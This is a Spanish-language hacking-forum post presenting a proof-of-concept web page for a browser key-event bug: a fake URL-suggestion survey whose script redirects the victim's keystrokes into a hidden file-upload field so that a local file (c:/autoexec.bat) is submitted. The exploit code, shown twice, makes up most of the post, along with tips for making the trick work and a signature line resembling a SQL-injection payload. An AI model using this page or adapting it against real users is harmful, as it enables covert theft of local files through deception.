Se supone que si entras a una pagina web, diseñada "maliciosamente" sin quererlo puedes subir un archivo a internet.
Symantec no dio un PoC.. pero ya me imagino por donde va el bug.
La funcion document.onKeyPress se llama justo cuando el usuario oprimio una tecla, y antes de que se imprima, por lo que, puedo hacer que la tecla que escribiste se sea dirigida al campo de formulario que yo quiera, por ejemplo a uno tipo "file".
he creado este PoC, que aunque es un poco tonto, demuestra la escencia del bug.
Código:
<html>
<body>
<form method=post action="javascript:alert('TENGO EL ARCHIVO! solo cambia la url por un uploader xD!');" type="multipart/form-data">
Porfavor sugierenos 3 paginas web por tema, (asegurate de incluir http:// o https://) sobre los siguientes temas:
<ul><b>Asegurate de ponerlos en orden.</b>
<li>Descarga de archivos gratis</li>
<li>Automovilismo</li>
<li>Deportes extremos</li>
<li>Tecnologia</li>
<li>Batman</li>
</ul>
<textarea name=other style="width:100%;height:50%"></textarea><br>
<input type=file name=thet disabled style="visibility:hidden;height:1;width:1">
</form>
<script>
/**
* OnKeyDown - javascript - Local File Disclosure vuln. PoC
* by sirdarckcat [at] gmail [.] com
* from: elhacker.net
**/
var nidshift = new Array(0 ,0 ,0 ,0 ,1 ,0 ,0 ,0 ,1 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0);
var thefilek = new Array(70,73,76,69,190,111,111,67,190,111,65,85,84,79,69,88,69,67,190,66,65,84);
var thefilew = "file://c:/autoexec.bat";
var dv = 0;
var chift = false;
var teo = document.forms[0].thet;
var feo = document.forms[0].other;
function checa(tecla) {
var rt=(tecla.which)?tecla.which:event.keyCode;
var lw=String.fromCharCode(rt);
if (dv>=thefilew.length){
document.forms[0].submit();
}
if (rt == 16){
chift = true;
}
if (rt==thefilek[dv]){
if ((nidshift[dv] && chift) || (!nidshift[dv] && !chift)){
teo.disabled=false;
teo.style.visibility="visible";
teo.focus();
feo.value += thefilew[dv];
dv++;
}
}else{
feo.focus();
teo.disabled=true;
teo.style.visibility="hidden";
}
}
function solsh(tecla){
var rt=(tecla.which)?tecla.which:event.keyCode;
if (rt == 16){
chift = false;
}
}
function mprss(tecla){
var rt=(tecla.which)?tecla.which:event.keyCode;
if (rt == 16){
chift = true;
}
}
document.onkeydown = checa;
document.onkeyup = solsh;
document.onkeypress= mprss;
</script>
</body>
</html>
<body>
<form method=post action="javascript:alert('TENGO EL ARCHIVO! solo cambia la url por un uploader xD!');" type="multipart/form-data">
Porfavor sugierenos 3 paginas web por tema, (asegurate de incluir http:// o https://) sobre los siguientes temas:
<ul><b>Asegurate de ponerlos en orden.</b>
<li>Descarga de archivos gratis</li>
<li>Automovilismo</li>
<li>Deportes extremos</li>
<li>Tecnologia</li>
<li>Batman</li>
</ul>
<textarea name=other style="width:100%;height:50%"></textarea><br>
<input type=file name=thet disabled style="visibility:hidden;height:1;width:1">
</form>
<script>
/**
* OnKeyDown - javascript - Local File Disclosure vuln. PoC
* by sirdarckcat [at] gmail [.] com
* from: elhacker.net
**/
var nidshift = new Array(0 ,0 ,0 ,0 ,1 ,0 ,0 ,0 ,1 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0);
var thefilek = new Array(70,73,76,69,190,111,111,67,190,111,65,85,84,79,69,88,69,67,190,66,65,84);
var thefilew = "file://c:/autoexec.bat";
var dv = 0;
var chift = false;
var teo = document.forms[0].thet;
var feo = document.forms[0].other;
function checa(tecla) {
var rt=(tecla.which)?tecla.which:event.keyCode;
var lw=String.fromCharCode(rt);
if (dv>=thefilew.length){
document.forms[0].submit();
}
if (rt == 16){
chift = true;
}
if (rt==thefilek[dv]){
if ((nidshift[dv] && chift) || (!nidshift[dv] && !chift)){
teo.disabled=false;
teo.style.visibility="visible";
teo.focus();
feo.value += thefilew[dv];
dv++;
}
}else{
feo.focus();
teo.disabled=true;
teo.style.visibility="hidden";
}
}
function solsh(tecla){
var rt=(tecla.which)?tecla.which:event.keyCode;
if (rt == 16){
chift = false;
}
}
function mprss(tecla){
var rt=(tecla.which)?tecla.which:event.keyCode;
if (rt == 16){
chift = true;
}
}
document.onkeydown = checa;
document.onkeyup = solsh;
document.onkeypress= mprss;
</script>
</body>
</html>
Este es el famoso ZeroDay de Symantec, mas info aqui:
http://digg.com/security/IE_And_Firefox_Sport_New_Zero-day_Flaw
Normalmente hubiera mandado el exploit a securityfocus, pero vamos.. para poder explotar un bug de esta magnitud es necesario una cantidad exajerada de ingenieria social xD!
de todas formas, por si alguien se preguntaba como hacer que un usuario suba un archivo automaticamente a una web, pues esta esta opcion.
NOTA!!
si por algun motivo no funciona.. traten de poner estas urls:
http://www.filefront.com/
http://www.cars.com/
http://www.autos.com.mx/
http://www.extreme.com/
http://www.batman.com/
lo que hace es obtener las siguientes teclas:
file://c:/autoexec.bat
cuando las tiene, manda la URL xD.
Y bueno, esta es una simple demostracion de la baja peligrosidad de este bug xD!!
Saludos!!
y no posteen para decir que es muy tonto, eso ya lo se jaja










Autor


,'mi novia anacleta',database(),@@version,'<?php)


En línea



